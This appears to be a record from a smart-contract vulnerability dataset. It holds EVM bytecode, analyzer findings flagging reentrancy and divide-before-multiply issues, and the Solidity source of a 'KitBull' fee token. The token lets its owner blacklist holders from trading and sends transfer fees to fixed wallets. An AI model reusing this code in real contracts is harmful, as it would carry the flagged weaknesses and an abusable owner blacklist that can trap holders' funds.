604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b90611717565b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
535
0xc6a435c8c3caf3c830e9f01f0a50fd0a43b4fb23
/** /** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KitBull is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "KitBull"; string private constant _symbol = "KitBull"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x27Fa8Fd9433e33a011e2CC12E0e187132F0B0118); _feeAddrWallet2 = payable(0x63A5702e38F629bCB6cfc662A5088F0A30f2d086); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 11; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 11; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610296578063b515566a146102b6578063c3c8cd80146102d6578063c9567bf9146102eb578063dd62ed3e1461030057600080fd5b806370a0823114610239578063715018a6146102595780638da5cb5b1461026e57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c6578063313ce567146101e85780635932ead1146102045780636fc3eaec1461022457600080fd5b806306fdde031461010e578063095ea7b31461014d57806318160ddd1461017d57806323b872dd146101a657600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082018252600781526612da5d109d5b1b60ca1b602082015290516101449190611793565b60405180910390f35b34801561015957600080fd5b5061016d610168366004611633565b610346565b6040519015158152602001610144565b34801561018957600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610144565b3480156101b257600080fd5b5061016d6101c13660046115f2565b61035d565b3480156101d257600080fd5b506101e66101e136600461157f565b6103c6565b005b3480156101f457600080fd5b5060405160098152602001610144565b34801561021057600080fd5b506101e661021f36600461172b565b61041a565b34801561023057600080fd5b506101e6610462565b34801561024557600080fd5b5061019861025436600461157f565b61048f565b34801561026557600080fd5b506101e66104b1565b34801561027a57600080fd5b506000546040516001600160a01b039091168152602001610144565b3480156102a257600080fd5b5061016d6102b1366004611633565b610525565b3480156102c257600080fd5b506101e66102d136600461165f565b610532565b3480156102e257600080fd5b506101e66105c8565b3480156102f757600080fd5b506101e66105fe565b34801561030c57600080fd5b5061019861031b3660046115b9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103533384846109c7565b5060015b92915050565b600061036a848484610aeb565b6103bc84336103b78560405180606001604052806028815260200161197f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e36565b6109c7565b5060019392505050565b6000546001600160a01b031633146103f95760405162461bcd60e51b81526004016103f0906117e8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104445760405162461bcd60e51b81526004016103f0906117e8565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048257600080fd5b4761048c81610e70565b50565b6001600160a01b03811660009081526002602052604081205461035790610ef5565b6000546001600160a01b031633146104db5760405162461bcd60e51b81526004016103f0906117e8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610353338484610aeb565b6000546001600160a01b0316331461055c5760405162461bcd60e51b81526004016103f0906117e8565b60005b81518110156105c4576001600660008484815181106105805761058061192f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105bc816118fe565b91505061055f565b5050565b600c546001600160a01b0316336001600160a01b0316146105e857600080fd5b60006105f33061048f565b905061048c81610f79565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016103f0906117e8565b600f54600160a01b900460ff16156106825760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103f0565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c230826b033b2e3c9fd0803ce80000006109c7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106fb57600080fd5b505afa15801561070f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610733919061159c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077b57600080fd5b505afa15801561078f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b3919061159c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107fb57600080fd5b505af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610833919061159c565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108638161048f565b6000806108786000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109149190611765565b5050600f80546a108b2a2c2802909400000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c49190611748565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f0565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f0565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f0565b60008111610c135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f0565b6001600a55600b80556000546001600160a01b03848116911614801590610c4857506000546001600160a01b03838116911614155b15610e26576001600160a01b03831660009081526006602052604090205460ff16158015610c8f57506001600160a01b03821660009081526006602052604090205460ff16155b610c9857600080fd5b600f546001600160a01b038481169116148015610cc35750600e546001600160a01b03838116911614155b8015610ce857506001600160a01b03821660009081526005602052604090205460ff16155b8015610cfd5750600f54600160b81b900460ff165b15610d5a57601054811115610d1157600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3557600080fd5b610d4042603c61188e565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d855750600e546001600160a01b03848116911614155b8015610daa57506001600160a01b03831660009081526005602052604090205460ff16155b15610db9576001600a55600b80555b6000610dc43061048f565b600f54909150600160a81b900460ff16158015610def5750600f546001600160a01b03858116911614155b8015610e045750600f54600160b01b900460ff165b15610e2457610e1281610f79565b478015610e2257610e2247610e70565b505b505b610e31838383611102565b505050565b60008184841115610e5a5760405162461bcd60e51b81526004016103f09190611793565b506000610e6784866118e7565b95945050505050565b600c546001600160a01b03166108fc610e8a83600261110d565b6040518115909202916000818181858888f19350505050158015610eb2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ecd83600261110d565b6040518115909202916000818181858888f193505050501580156105c4573d6000803e3d6000fd5b6000600854821115610f5c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f0565b6000610f6661114f565b9050610f72838261110d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc157610fc161192f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101557600080fd5b505afa158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d919061159c565b816001815181106110605761106061192f565b6001600160a01b039283166020918202929092010152600e5461108691309116846109c7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110bf90859060009086903090429060040161181d565b600060405180830381600087803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e31838383611172565b6000610f7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611269565b600080600061115c611297565b909250905061116b828261110d565b9250505090565b600080600080600080611184876112df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111b6908761133c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111e5908661137e565b6001600160a01b038916600090815260026020526040902055611207816113dd565b6112118483611427565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125691815260200190565b60405180910390a3505050505050505050565b6000818361128a5760405162461bcd60e51b81526004016103f09190611793565b506000610e6784866118a6565b60085460009081906b033b2e3c9fd0803ce80000006112b6828261110d565b8210156112d6575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006112fc8a600a54600b5461144b565b925092509250600061130c61114f565b9050600080600061131f8e8787876114a0565b919e509c509a509598509396509194505050505091939550919395565b6000610f7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e36565b60008061138b838561188e565b905083811015610f725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b60006113e761114f565b905060006113f583836114f0565b30600090815260026020526040902054909150611412908261137e565b30600090815260026020526040902055505050565b600854611434908361133c565b600855600954611444908261137e565b6009555050565b6000808080611465606461145f89896114f0565b9061110d565b90506000611478606461145f8a896114f0565b905060006114908261148a8b8661133c565b9061133c565b9992985090965090945050505050565b60008080806114af88866114f0565b905060006114bd88876114f0565b905060006114cb88886114f0565b905060006114dd8261148a868661133c565b939b939a50919850919650505050505050565b6000826114ff57506000610357565b600061150b83856118c8565b90508261151885836118a6565b14610f725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b803561157a8161195b565b919050565b60006020828403121561159157600080fd5b8135610f728161195b565b6000602082840312156115ae57600080fd5b8151610f728161195b565b600080604083850312156115cc57600080fd5b82356115d78161195b565b915060208301356115e78161195b565b809150509250929050565b60008060006060848603121561160757600080fd5b83356116128161195b565b925060208401356116228161195b565b929592945050506040919091013590565b6000806040838503121561164657600080fd5b82356116518161195b565b946020939093013593505050565b6000602080838503121561167257600080fd5b823567ffffffffffffffff8082111561168a57600080fd5b818501915085601f83011261169e57600080fd5b8135818111156116b0576116b0611945565b8060051b604051601f19603f830116810181811085821117156116d5576116d5611945565b604052828152858101935084860182860187018a10156116f457600080fd5b600095505b8386101561171e5761170a8161156f565b8552600195909501949386019386016116f9565b5098975050505050505050565b60006020828403121561173d57600080fd5b8135610f7281611970565b60006020828403121561175a57600080fd5b8151610f7281611970565b60008060006060848603121561177a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c0578581018301518582016040015282016117a4565b818111156117d2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186d5784516001600160a01b031683529383019391830191600101611848565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a1576118a1611919565b500190565b6000826118c357634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118e2576118e2611919565b500290565b6000828210156118f9576118f9611919565b500390565b600060001982141561191257611912611919565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048c57600080fd5b801515811461048c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122058c806d53c1f6209